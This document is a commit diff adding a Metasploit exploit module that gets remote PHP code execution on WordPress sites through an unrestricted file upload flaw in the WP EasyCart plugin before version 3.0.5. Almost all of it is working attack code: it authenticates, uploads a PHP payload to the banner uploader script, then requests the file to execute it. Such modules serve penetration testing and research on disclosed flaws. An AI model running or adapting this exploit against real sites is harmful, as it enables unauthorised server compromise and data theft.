Add WP EasyCart file upload exploit module

Author: rastating

modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb

@@ -0,0 +1,109 @@
+##
+# This module requires Metasploit: http://www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FileDropper
+  include Msf::HTTP::Wordpress
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'WordPress WP EasyCart 3.0.4 Unrestricted File Upload',
+      'Description'     => %q{WordPress Shopping Cart (WP EasyCart) Plugin for
+                              WordPress contains a flaw that allows a remote
+                              attacker to execute arbitrary PHP code. This
+                              flaw exists because the
+                              /inc/amfphp/administration/banneruploaderscript.php
+                              script does not properly verify or sanitize
+                              user-uploaded files. By uploading a .php file,
+                              the remote system will place the file in a
+                              user-accessible path. Making a direct request to
+                              the uploaded file will allow the attacker to
+                              execute the script with the privileges of the web
+                              server.},
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'Kacper Szurek',                  # Vulnerability disclosure
+          'Rob Carr <rob[at]rastating.com>' # Metasploit module
+        ],
+      'References'      =>
+        [
+          ['OSVDB', '116806'],
+          ['WPVDB', '7745']
+        ],
+      'DisclosureDate'  => 'Jan 08 2015',
+      'Platform'        => 'php',
+      'Arch'            => ARCH_PHP,
+      'Targets'         => [['wp-easycart < 3.0.5', {}]],
+      'DefaultTarget'   => 0
+    ))
+
+    register_options(
+      [
+        OptString.new('USERNAME', [true, 'The username to authenticate with']),
+        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
+      ], self.class)
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-easycart', '3.0.5')
+  end
+
+  def generate_mime_message(payload, name)
+    data = Rex::MIME::Message.new
+    data.add_part('1', nil, nil, 'form-data; name="datemd5"')
+    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
+    data
+  end
+
+  def exploit
+    print_status("#{peer} - Authenticating using #{username}:#{password}...")
+    cookie = wordpress_login(username, password)
+    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
+    print_good("#{peer} - Authenticated with WordPress")
+
+    print_status("#{peer} - Preparing payload...")
+    payload_name = Rex::Text.rand_text_alpha(10)
+    plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
+    uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
+    payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_1.php")
+    data = generate_mime_message(payload, "#{payload_name}.php")
+
+    print_status("#{peer} - Uploading payload to #{payload_url}")
+    res = send_request_cgi(
+      'method'  => 'POST',
+      'uri'     => uploader_url,
+      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
+      'data'    => data.to_s,
+      'cookie'  => cookie
+    )
+
+    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
+    vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
+    print_good("#{peer} - Uploaded the payload")
+
+    print_status("#{peer} - Executing the payload...")
+    register_files_for_cleanup("#{payload_name}_1.php")
+    send_request_cgi(
+    {
+      'uri'     => payload_url,
+      'method'  => 'GET'
+    }, 5)
+    print_good("#{peer} - Executed payload")
+  end
+end